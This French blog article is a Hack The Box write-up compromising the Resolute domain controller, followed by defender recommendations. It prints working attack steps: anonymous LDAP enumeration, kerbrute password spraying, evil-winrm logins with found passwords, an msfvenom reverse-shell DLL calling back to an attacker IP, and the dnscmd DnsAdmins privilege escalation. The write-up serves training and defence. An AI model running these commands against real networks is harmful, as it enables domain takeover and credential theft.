06/10/2024

Cybersécurité

Compromission Active Directory – Le cas de la Box Resolute de Hack The Box

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Resolute, de difficulté "Medium". Ce que nous allons voir dans cet article est typique d'une compromission classique d'un domaine d'entreprise, tant vis-à-vis des faiblesses exploitées que dans la démarche globale de l'attaquant.

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), ils peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs. 🙂

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordéesMicrosoft, Active Directory, DNS, LDAP, winRM
Outils utilisésnmap, ldapsearch, smbmap, BloodHound, evil-winRM, metasploit, msfvenom

II. Résolution de la box Resolute

A. Découverte et énumération

Au début, nous ne disposons que de l'adresse IP de notre cible. Nous allons commencer par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ sudo nmap -sV -sC -T4 --max-retries 1 --open 10.10.10.169 -sS
PORT     STATE SERVICE      VERSION
53/tcp   open  domain
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-16 11:59:19Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

Host script results:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   FQDN: Resolute.megabank.local

Pas de doute, notre cible est un contrôleur de domaine, le port TCP/88 exposé par le service Kerberos en est la preuve.

Retrouvez notre cours complet sur Nmap sur lien suivant :

L'utilisation de l'option "-sV" de "nmap" permet d'effectuer un scan de version, différentes techniques de banner grabbing (récupération de bannière) vont être utilisées afin de détecter automatiquement les services, les technologies, les versions et les informations à propos du service scanné. Ici, nous obtenons, par exemple, le nom de domaine de l'Active Directory ciblé : "megabank.local".

Si vous voulez en savoir plus sur les techniques de banner grabbing pouvant être utilisées, je vous oriente vers mon article sur le sujet :

B. Accès anonymes

En plus du service Kerberos, d'autres services caractéristiques des environnements Windows et Active Directory sont exposés, dont le service RPC (Remote Procedure Call). Une vulnérabilité fréquente sur ces services est l'autorisation de l'accès anonyme :

Technique d'attaque (MITRE ATT&CK) : T1078.001 - Valid Accounts: Default Accounts

$ rpcclient -U "%" 10.10.10.169
rpcclient $> getusername
Account Name: ANONYMOUS LOGON, Authority Name: NT AUTHORITY
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
[...]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]

Ici, l'accès RPC est effectivement vulnérable à l'accès anonyme. Sur un Active Directory, le service RPC permet de récupérer un grand nombre d'informations comme la politique de mot de passe ou la liste des utilisateurs du domaine. Très utile pour un attaquant qui ne dispose d'aucune information sur le domaine.

Technique d'attaque (MITRE ATT&CK) : T1087.002 - Account Discovery: Domain Account

Autre service, même vulnérabilité : le service LDAP est également vulnérable à l'accès anonyme. Cela peut se trouver facilement via une requête "ldapsearch" :

ldapsearch -H ldap://10.10.10.169 -x -b "DC=megabank,DC=local"

L'accès via LDAP est encore plus problématique que via RPC puisque nous allons pouvoir récupérer très facilement et de façon structurée l'ensemble des informations stockées dans l'Active Directory (à l'exception de certaines informations sensibles comme les mots de passe). Voici, par exemple, une requête "ldapsearch" qui permet de récupérer toutes les informations à propos des ordinateurs, utilisateurs et groupes :

Récupération d'information en bind LDAP anynome via "ldapsearch".

Nous pouvons, par exemple, faire une requête qui va nous retourner les logins utilisateur et le contenu de leur attribut "memberOf" afin d'avoir une vue rapide d'éventuelles exceptions (un utilisateur membre de beaucoup de groupes, par exemple).

Récupération des noms utilisateur et groupe d'appartenance des utilisateurs du domaine.

Aussi, cela nous permet de récupérer des attributs qui sont, à première vue, assez inutiles pour un attaquant. C'est le cas de l'attribut "description" des objets utilisateurs.

L'attribut "description" des objets utilisateurs fait souvent l'objet d'une attention qui peut sembler curieuse de la part des attaquants. Il faut savoir qu'une mauvaise pratique est très répandue au sein des Active Directory et des équipes d'administration et que les attaquants savent l'exploiter à leur avantage. Il n'est, en effet, pas rare de trouver des mots de passe dans cet attribut. Les administrateurs pensant que seuls eux peuvent consulter cette information, ils y stockent les mots de passe de compte (comptes de service, comptes partagés, comptes non nominatifs) pour que leurs collègues ou eux-mêmes puissent les retrouvent facilement.

Si vous souhaitez en savoir plus sur cette faiblesse, je vous oriente vers mon article sur le sujet :

Un filtre sur l'attribut "description" des objets utilisateurs nous permet de facilement découvrir des mots de passe :

Technique d'attaque (MITRE ATT&CK) : T1552 - Unsecured Credentials

ldapsearch -H ldap://10.10.10.169 -x -b 'dc=megabank,dc=local' "(objectclass=user)" description

Voici ce que l'on peut alors observer :

Requête "ldapsearch" pour récupérer les descriptions des utilisateurs du domaine.

Nous venons de trouver un mot de passe dans l'attribut "description" de l'utilisateur "marko". Celui-ci est-il encore valide ? Nous pouvons le vérifier facilement en tentant, par exemple, une connexion SMB authentifiée auprès du contrôleur de domaine, qui doit exposer au moins le répertoire partagé "SYSVOL", normalement accessible à tout utilisateur authentifié :

$ smbmap -u 'marko' -p 'Welcome123!' -d megabank -H 10.10.10.169 --no-banner
[] Detected 1 hosts serving SMB [] 
Established 0 SMB session(s)

Le mot de passe ne fonctionne pas. Cependant, la structure et le contenu du mot de passe ressemble drôlement à un mot de passe "par défaut", comme celui que l'on reçoit lorsque l'on intègre une nouvelle entreprise et que l'on doit changer rapidement.

C. Mot de passe "par défaut"

Ce mot de passe a-t-il été paramétré sur d'autres comptes utilisateurs ? Maintenant que nous avons la liste complète des logins, nous pouvons facilement le vérifier via une attaque de type Password Spraying :

Une attaque de type Password Spraying (ou "arrosage de mot de passe" si on le traduit maladroitement) consiste à tenter une authentification sur tous les comptes (login) que nous avons à disposition avec un seul mot de passe ou un faible nombre de mots de passe. À l'inverse d'une attaque par brute force, qui consiste à tester un grand nombre de mots de passe pour un seul compte, le password spraying permet d'éviter la levée d'alerte et le blocage d'un compte puisqu'une seule authentification par compte n'est opérée. Le seuil de verrouillage de chaque compte n'est donc jamais dépassé.

En règle générale, le password spraying se fait avec un mot de passe commun ou que l'on pense être "par défaut".

Pour réaliser cette attaque, j'utilise l'outil "kerbrute". Je lui passe notamment ma liste d'utilisateurs (un par ligne) et le mot de passe à tester. Nous pouvons ici utiliser l'accès LDAP anonyme afin de se constituer une belle liste d'utilisateurs valider sur le domaine cible :

Technique d'attaque (MITRE ATT&CK) : T1110.003 - Brute Force: Password Spraying

# Création d'une liste des utilisateurs du domaine
$ ldapsearch -H ldap://10.10.10.169 -x -b 'dc=megabank,dc=local' "(objectclass=user)" sAMAccountname |grep "sAMAccountName:" |cut -d " " -f 2 > /tmp/userlist.txt   

# Attaque Password Spraying sur les utilisateurs avec le mot de passe 'Welcome123!' 
$ /opt/kerbrute/kerbrute_linux_amd64 passwordspray  -d megabank.local --dc 10.10.10.169 /tmp/userlist.txt 'Welcome123!' 
[+] 10.10.10.169:445      - 10.10.10.169:445 - Success: 'megabank.local\melanie:Welcome123!'

Il s'agit bien d'un mot de passe par défaut, commun à tout nouvel utilisateur. Il semble ici (et c'est loin d'être rare) qu'un utilisateur n'ait pas eu le temps ou l'opportunité de le changer. Nous voilà avec un compte authentifié sur le domaine !

Comme à chaque fois que nous disposons d'un nouvel accès valide, nous devons tester cet accès sur tous les services exposés (RPC, SMB, LDAP, Kerberos, winRM, etc) :

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

$ evil-winrm -u melanie -p "Welcome123!" -i 10.10.10.169
*Evil-WinRM* PS C:\Users\melanie> type Desktop/user.txt
0c3[REDACTED]78540

En utilisant l'outil "evil-winrm" pour l'authentification avec le compte "melanie", j'obtiens un accès via le protocole WinRM sur le système. Cela signifie que ce compte est membre du groupe "Remote Management Users", un privilège peu commun pour un utilisateur "standard".

Technique d'attaque (MITRE ATT&CK) : T1087.001 - Account Discovery: Local Account

À présent, nous pouvons parcourir le système via un terminal PowerShell, dans la limite des permissions de notre utilisateur. L'accès au répertoire "C:\Users" permet par exemple, d'obtenir un aperçu des utilisateurs présents sur le système :

*Evil-WinRM* PS C:\Users> dir
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/25/2019  10:43 AM                Administrator
d-----        12/4/2019   2:46 AM                melanie
d-r---       11/20/2016   6:39 PM                Public
d-----        9/27/2019   7:05 AM                ryan

Au sein de la racine du système de fichier existent plusieurs répertoires cachés :

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

*Evil-WinRM* PS C:\> get-childitem -Force
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        12/3/2019   6:40 AM                $RECYCLE.BIN
d--hsl        9/25/2019  10:17 AM                Documents and Settings
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)
d--h--        9/25/2019  10:48 AM                ProgramData
d--h--        12/3/2019   6:32 AM                PSTranscripts
d--hs-        9/25/2019  10:17 AM                Recovery
d--hs-        9/25/2019   6:25 AM                System Volume Information
d-r---        12/4/2019   2:46 AM                Users
d-----        12/4/2019   5:15 AM                Windows
-arhs-       11/20/2016   5:59 PM         389408 bootmgr
-a-hs-        7/16/2016   6:10 AM              1 BOOTNXT
-a-hs-        4/29/2020   5:15 AM      402653184 pagefile.sys

Le "PSTranscript" est, sous Windows, une fonctionnalité permettant de journaliser les entrées et sorties d'une session PowerShell.

L'activation du PSTranscript Powershell et plus largement de la journalisation des commandes PowerShell est abordée dans cet article :

La consultation de l'historique des commandes saisies et de leur résultat est intéressante pour un attaquant quand des mots de passe ont été entrés ou lus dans cette session, exemple :

Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files

*Evil-WinRM* PS C:\PSTranscripts\20191203> get-childitem -Force
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-arh--        12/3/2019   6:45 AM           3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

Le Transcript lu ici contient un mot de passe pour le compte "Ryan", tentons de réutiliser ce mot de passe :

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

$ evil-winrm -u ryan  -p "Serv3r4Admin4cc123!" -i 10.10.10.169
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /all

Succès ! Nous devons à présent découvrir si ce nouvel utilisateur nous apporte des privilèges supplémentaires.

D. De "DnsAdmins" à "Domain Admins"

Technique d'attaque (MITRE ATT&CK) : T1069.002 - Permission Groups Discovery: Domain Groups

Visiblement, "ryan" fait bien partie d'un groupe nommé "Contractors" :

Récupération des groupes d'appartenance de l'utilisateur du domaine "ryan".

Tentons de récupérer la liste des groupes auxquels est membre ce groupe "Contractors" :

Visualisation des groupes d'appartenance et membre du groupe "Contractors".

Ce groupe est membre du groupe "DNS Admins", un groupe par défaut créé lors de la mise en place d'un service DNS sur le serveur (donc en même temps que le rôle AD-DS) : Microsoft - DNS Admins.

La recherche d'information est un peu périlleuse via un simple filtre "ldapseach", les choses sont beaucoup plus claires si l'on travaille avec BloodHound, voyez plutôt :

Vue des relations d'appartenance aux groupes via BloodHound.

Pour apprendre à utiliser Bloodhound afin de découvrir des vulnérabilités dans un environnement Active Directory, nous avons un cours gratuit à ce sujet :

Il faut ici exploiter le fait que le groupe "Contractors", auquel appartient "Ryan", soit membre du groupe "DNS Admins". Une méthode d'élévation de privilèges a notamment été découverte il y a quelques années à ce sujet :

Technique d'attaque (MITRE ATT&CK) : T1068 - Exploitation for Privilege Escalation

Le "DNS Admin to Domain admin" consiste à profiter de la possibilité pour l'utilisateur membre du groupe de manipuler un service sensible : le service DNS. Il peut notamment le redémarrer et lui ajouter des DLL (bibliothèque) à charger au démarrage. Une DLL étant un bout de code C, on peut lui demander de faire n'importe quoi. Le service DNS (privilégié sur le système) exécutera alors avec ses privilèges ce bout de code contrôlé par l'attaquant. Commençons par créer une DLL avec "msfvenom" :

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.211.55.13 LPORT=4444 --platform=windows -f dll > plugin.dll

"msfvenom" est une commande puissante utilisée principalement pour la génération de payloads et inclut dans le framework d'exploitation Metasploit.

Qu'est-ce qu'un payload ?

Un payload est simplement une charge utile, un bout de code malveillant qui est exécuté sur la machine cible après une exploitation réussie. Cela peut inclure des fonctionnalités telles que l'accès à distance, la collecte d'informations, l'installation de logiciels malveillants, etc.

Puis, on rend disponible cette DLL avec un partage SMB du poste d'attaque (évite de poser la DLL sur la cible, donc absence de scan antivirus) :

$ sudo impacket-smbserver WORKSPACE -smb2support dir

Toujours sur mon système d'attaque, je mets en place un handler qui va rester en écoute du reverse shell (accès distant) censé arriver depuis le système compromis :

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run

Depuis notre accès PowerShell en tant que "Ryan", nous allons utiliser l'outil "dnscmd.exe" pour faire en sorte que cette DLL soit utilisée au prochain démarrage du service. Il s'agit là d'une opération légitime, l'outil en question est simplement une interface de ligne de commande pour la gestion de serveurs DNS :

dnscmd.exe myserver.local /config /serverlevelplugindll \\10.10.14.84\share\plugin.dll

Puis, on redémarre le service DNS grâce à nos privilèges "DNSAdmins" :

sc.exe stop dns
sc.exe start dns

Après ce redémarrage, nous obtenons un shell au moment du redémarrage sur le handler mis en écoute via "metasploit" en tant que "NT authority\system", c'est-à-dire l'utilisateur qui fait tourner le service DNS sur le système Windows (cliquez sur l'image pour zoomer) :

Exploitation complète "DNSAdmins to Domains Admins" par l'intérmédiaire du chargement d'une DLL.

Voilà ! Nous sommes à présent maître du contrôleur de domaine, et par extension, du domaine lui-même. Nous pouvons ajouter, par exemple, l'utilisateur "ryan" aux membres du groupe "domain admins" à partir de cet accès privilégié au contrôleur de domaine :

net group "domain admins" ryan /add /domain

Voici le résultat :

Ajout d'un utilisateur compromis au groupe "Domain admins".

Nous sommes administrateur du domaine !

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)Détails
T1046 - Network Service DiscoveryUtilisation de "nmap" pour découvrir les services exposés
T1078.001 - Valid Accounts: Default AccountsAccès en null session/accès anonyme aux services RPC et LDAP via "rpcclient" et "ldapsearch"
T1087.002 - Account Discovery: Domain AccountRécupération des comptes utilisateur et attributs via RPC et LDAP.
T1552 - Unsecured CredentialsDécouverte d'un mot de passe dans l'attribut description d'un utilisateur
T1110.003 - Brute Force: Password SprayingExécution d'un password spraying sur tous les comptes utilisateurs du domaine via "kerbrute" en utilisant le mot de passe découvert
T1021.006 - Remote Services: Windows Remote ManagementAccès winRM avec le compte compromis "melanie" via "evil-winrm".
T1087.001 - Account Discovery: Local AccountDécouverte des comptes locaux du système
T1083 - File and Directory DiscoveryRecherche de données sensibles dans les fichiers système accessibles
T1552.001 - Unsecured Credentials: Credentials In FilesDécouverte d'un mot de passe dans le PowerShell Transcript d'un utilisateur accessible à tous.
T1021.006 - Remote Services: Windows Remote ManagementAccès winRM avec le compte de l'utiliasteur "Ryan" via "evil-winrm"
T1069.002 - Permission Groups Discovery: Domain GroupsDécouverte des groupes de "Ryan" et de l'appartenance indirect au groupe "DNS Admins".
T1068 - Exploitation for Privilege EscalationExploitation du service DNS pour exécuter une DLL malveillante avec les droits de "NT AUHTORITY/SYSTEM".

IV. Notions abordées

A. Côté attaquant

Nous avons abordé différents éléments lors de cette attaque : tous sont des cas très classiques de compromission d'un système d'information ou d'un domaine. Aussi basique que peut paraitre la démarche exposée, les cas réels ne s'en éloignent pas vraiment, notamment pour les entreprises n'ayant jamais subi de cyberttaque ou effectué de tests d'intrusion.

La présence de service autorisant l'accès anonyme est un grand classique des vulnérabilités présentes sur un SI, que ce soit au niveau du domaine, des serveurs, des équipements actifs (imprimantes, switchs, etc.) qui peuvent utilise des mots de passe vides ou constructeurs... Jamais au cours d'un test d'intrusion, cette vulnérabilité n'a été absente du constat final. L'impact de la vulnérabilité dépend alors du service ciblé, elle sera moins impactante sur le service FTP d'une imprimante peu utilisée que sur le service LDAP du contrôleur de domaine.

Lors de notre progression, nous avons dû réutiliser un mot de passe d'un utilisateur sur d'autres comptes utilisateurs. Là aussi, la présence d'un mot de passe "par défaut" pour tout nouvel utilisateur est un classique très rapidement exploitable par les attaquants. Ce mot de passe est paramétré à tout nouvel utilisateur et il arrive souvent qu'un compte l'utilise encore (compte de service, jamais utilisé ou jamais supprimé). C'est aussi pour cette raison qu'il est important d'avoir le réflexe de réutiliser les mots de passe à disposition sur tous les accès disponibles et avec tous les comptes disponibles (dans la limite de la politique de mot de passe en place).

La progression au sein même de l'Active Directory était également intéressante ici : l'appartenance, indirecte mais bien réelle, de l'utilisateur "Ryan" au groupe "DNS Admin" peut paraitre peu intéressante si on ne connait pas les impacts et possibilités exactes de ce groupe.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : les services LDAP et RPC sont ici configurés pour autoriser des accès anonymes. Cela permet à des utilisateurs non authentifiés d'accéder à des informations sensibles stockées dans l'Active Directory ou dans d'autres services. Il est recommandé de désactiver ou de restreindre les accès anonymes à ces services.

Recommandation n°2 : les mots de passe ne doivent jamais être stockés dans les descriptions d'objets de l'Active Directory, car cet attribut peut être lu par tout utilisateur authentifié, et donc par des attaquants potentiels s'ils parviennent à accéder à l'Active Directory. Il est recommandé de vérifier régulièrement l'absence de mots de passe dans ces descriptions et de les supprimer. Cette mesure doit être accompagnée d'un changement des mots de passe qui ont été exposés.

Recommandation n°3 : les scripts ou les commandes PowerShell peuvent parfois contenir des mots de passe en clair ou être enregistrés dans des logs ou des transcripts. Il est recommandé de ne pas stocker les mots de passe dans les transcripts et de sensibiliser les administrateurs sur les bonnes pratiques en matière de gestion des mots de passe, notamment l'utilisation de moyens sécurisés de saisie des mots de passe en PowerShell, comme l'utilisation de variables sécurisées ou de modules spécialisés.

Recommandation n°4 : il est recommandé de vérifier et de corriger les chemins d'attaque présents au sein de l'Active Directory. L'appartenance indirecte d'un utilisateur au groupe DNS Admins doit être passée en revue et supprimée si non nécessaire. Plus globalement, l'utilisation fréquente et la maitrise d'outils d'analyse des chemins d'attaque comme BloodHound permet de relever ce genre de chemin d'attaque.

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!

Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

author avatar
Mickael Dorigny Co-founder
Co-fondateur d'IT-Connect.fr. Auditeur/Pentester chez Orange Cyberdéfense.
Partagez cet article Partager sur Twitter Partager sur Facebook Partager sur Linkedin Envoyer par mail

1 commentaire sur “Compromission Active Directory – Le cas de la Box Resolute de Hack The Box

  • Bonjour
    Cette explication c’est très intéressante
    Car j’ai appris tant des choses.
    Je suis à l’année terminal, je travailles sur la redondance , pouvez m’aider avec des explications très claires sur la redondance des routeurs ? Svp.
    Merci beaucoup.

    Répondre

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.